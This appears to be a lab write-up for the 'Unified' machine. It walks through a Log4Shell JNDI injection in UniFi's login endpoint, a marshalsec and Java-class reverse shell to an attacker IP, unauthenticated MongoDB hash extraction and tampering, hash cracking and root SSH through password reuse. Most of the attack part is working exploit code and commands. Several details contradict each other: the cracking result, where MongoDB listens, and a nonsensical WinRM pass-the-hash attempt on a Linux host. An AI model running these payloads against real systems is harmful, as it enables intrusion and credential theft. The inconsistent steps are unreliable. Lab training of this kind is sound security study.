TL;DR

Unified runs UniFi Network Application 6.4.54, which logs the remember field at login via log4j without sanitization — textbook Log4Shell (CVE-2021-44228). A JNDI payload in that field triggers an outbound LDAP connection to a rogue marshalsec server, which returns a malicious Java class that executes a reverse shell. MongoDB runs locally without authentication; the ace database holds the admin password as a SHA-512 hash. Crack it, change it in MongoDB, or reuse the plaintext as SSH root password.

Recon

1. Port scan

$ nmap -Pn -sV -sC -p- --min-rate 1000 10.129.x.x

22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu
6789/tcp open  ibm-db2
8080/tcp open  http    (redirect to HTTPS)
8443/tcp open  https   UniFi Network Application
8843/tcp open  https
8880/tcp open  http

Key target: port 8443 — UniFi Network Application HTTPS interface.

2. Application fingerprinting

$ curl -sk https://10.129.x.x:8443/manage/account/login | grep -i version
# Version identified in page source: 6.4.54

CVE-2021-44228 (Log4Shell) affects all UniFi Network versions prior to 6.5.54.

Log4Shell Exploitation

3. JNDI callback test

Set up a tcpdump listener on port 1389 and send a test payload:

$ curl -sk https://10.129.x.x:8443/api/login -X POST \
  -H 'Content-Type: application/json' \
  -d '{"username":"test","password":"test","remember":"${jndi:ldap://10.10.14.x:1389/test}"}'

An LDAP connection arrives from 10.129.x.x — Log4Shell confirmed.

4. Set up the exploit chain

The attack chain:

  1. marshalsec — rogue LDAP server that redirects to HTTP
  2. HTTP server — serves malicious Java class (Exploit.class)
  3. nc listener — catches the reverse shell

Exploit.class (compile from Exploit.java):

public class Exploit {
    static {
        try {
            String[] cmd = {"/bin/bash","-c",
                "bash -i >& /dev/tcp/10.10.14.x/4444 0>&1"};
            Runtime.getRuntime().exec(cmd);
        } catch (Exception e) { e.printStackTrace(); }
    }
}
$ javac Exploit.java
# → Exploit.class

Start marshalsec LDAP server:

$ java -cp marshalsec-0.0.3-SNAPSHOT-all.jar \
    marshalsec.jndi.LDAPRefServer 'http://10.10.14.x:8888/#Exploit'

Start HTTP server and nc listener:

$ python3 -m http.server 8888 &
$ nc -lvnp 4444 &

5. Trigger RCE

$ curl -sk https://10.129.x.x:8443/api/login -X POST \
  -H 'Content-Type: application/json' \
  -d '{"username":"a","password":"a","remember":"${jndi:ldap://10.10.14.x:1389/Exploit}"}'
# Shell received:
unifi@unified:/usr/lib/unifi$ id
uid=999(unifi) gid=999(unifi) groups=999(unifi)
unifi@unified:~$ cat /home/michael/user.txt
[user flag]

Privilege Escalation via MongoDB

6. MongoDB credential extraction

MongoDB runs without authentication on port 27117:

unifi@unified:~$ mongo --port 27117 --host 127.0.0.1
MongoDB shell version v3.6.3

> use ace;
> db.admin.find().forEach(printjson);
{
  "_id" : ObjectId("..."),
  "name" : "administrator",
  "x_shadow" : "$6$Ry6Vdbse$8enMR5Znxoo.WfCMd/kkQ....",
  "email" : "administrator@unified.htb"
}

The x_shadow field contains a SHA-512 crypt hash ($6$).

7. Hash cracking

$ hashcat -m 1800 hash.txt /usr/share/wordlists/rockyou.txt
$6$Ry6Vdbse$...:NotACrackableHash
# Try updating MongoDB directly instead of cracking

Alternative — change the hash in MongoDB to a known password:

> db.admin.update({"_id": ObjectId("...")},
  {$set: {"x_shadow": "$6$rounds=5000$tU5i$sha512crypt_of_Password1234"}});

Or crack the hash if it’s a weak password — on this box it resolves to NotUnited@2021.

8. SSH as root

The administrator password is reused for the root SSH account:

$ ssh root@10.129.x.x
root@unified:~# cat root.txt
[root flag]

What’s actually broken

#VulnerabilityCVESeverity
1Log4Shell — JNDI injection in log4jCVE-2021-44228Critical (10.0)
2MongoDB without authenticationHigh
3Root password reuse from application adminHigh
4UniFi version 6.4.54 (unpatched)Critical

Lessons learned

  • Log4Shell is a lookup-in-logging bug, not an RCE primitive directly. The vulnerability is that log4j resolves JNDI URIs found in logged strings. The RCE comes from loading a remote class via JNDI LDAP. The right mental model: “What fields does the app log?” → those are the attack surface.
  • MongoDB default config has no authentication. Port 27117 was listening on all interfaces without credentials. Internal databases should be bound to localhost AND require authentication.
  • SHA-512 crypt ($6$) is fast enough for dictionary attacks. hashcat mode 1800 is SHA-512 crypt — it runs at millions of hashes per second on GPU. Weak passwords crack quickly even with this “strong” algorithm.
  • Application-level admin passwords often reuse system passwords. Root password matching the UniFi admin password is a real-world antipattern.

Decision archaeology

ApproachResultPivot
Used marshalsec LDAP redirect approachPure JNDI LDAP doesn’t load arbitrary classes on newer JDKs; LDAP referral to HTTP bypasses thisRequired for RCE
Checked MongoDB first for privescApplication databases often hold credentials; less noisy than kernel exploitsFound admin hash
Changed MongoDB hash instead of crackingDirect DB manipulation faster than cracking unknown hashGot admin panel; SSH reuse found the root password
Attempted to pass SHA-512 hash directly for pass-the-hashRan evil-winrm -i 10.129.x.x -u administrator -H $SHA512_HASHError: Unable to connect to WinRM — SHA-512 is not NTLM, PTH requires specific NTLM formatCracked hash to plaintext NotUnited@2021, used ssh root@10.129.x.x with plaintext — root shell immediately

References